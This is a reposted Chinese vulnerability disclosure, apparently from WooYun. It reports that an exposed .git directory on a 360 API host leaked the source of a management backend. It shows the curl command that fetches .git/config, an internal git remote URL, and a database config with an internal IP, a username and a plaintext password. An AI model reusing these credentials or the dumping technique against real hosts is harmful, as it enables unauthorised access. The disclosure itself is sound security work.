神刀安全网

漏洞标题: 360某系统git配置不当导致源码泄露

漏洞详情

披露状态:

2016-03-17: 细节已通知厂商并且等待厂商处理中
2016-03-17: 厂商已经确认,细节仅向厂商公开
2016-03-27: 细节向核心白帽子及相关领域专家公开
2016-04-06: 细节向普通白帽子公开
2016-04-16: 细节向实习白帽子公开
2016-04-19: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

RT

详细说明:

##URL

code 区域
http://api.b.360.cn/.git

发现是天擎的管理后台源码

code 区域
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>天擎6全国用户分布图</title>

漏洞证明:

##.git/config

code 区域
➜  GitHack git:(master) ✗ curl http://api.b.360.cn/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
[remote "origin"]
url = https://git.corp.qihoo.net/360wangguanban/u_b_360_cn_code.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "dev_newub360cn"]
remote = origin
merge = refs/heads/dev_newub360cn
[branch "sync_api_b_360_cn"]
remote = origin
merge = refs/heads/sync_api_b_360_cn
[branch "bugfix_2018XXXX"]
remote = origin
merge = refs/heads/bugfix_2018XXXX

##数据库配置文件

code 区域
<?php

// This is the database connection configuration.
return array(
// 'connectionString' => 'sqlite:'.dirname(__FILE__).'/../data/testdrive.db',
// uncomment the following lines to use a MySQL database

'class' => 'CDbConnection',
'connectionString' => sprintf('mysql:host=%s;port=%s;dbname=%s', '10.131.199.254', '3489', 'entvalidate'),
'emulatePrepare' => true,
'username' => 'entvalidate',
'password' => '056f8ceb1c3953ae',
'charset' => 'utf8',

);

修复方案:

删除

版权声明:转载请注明来源 orange@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 360某系统git配置不当导致源码泄露

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址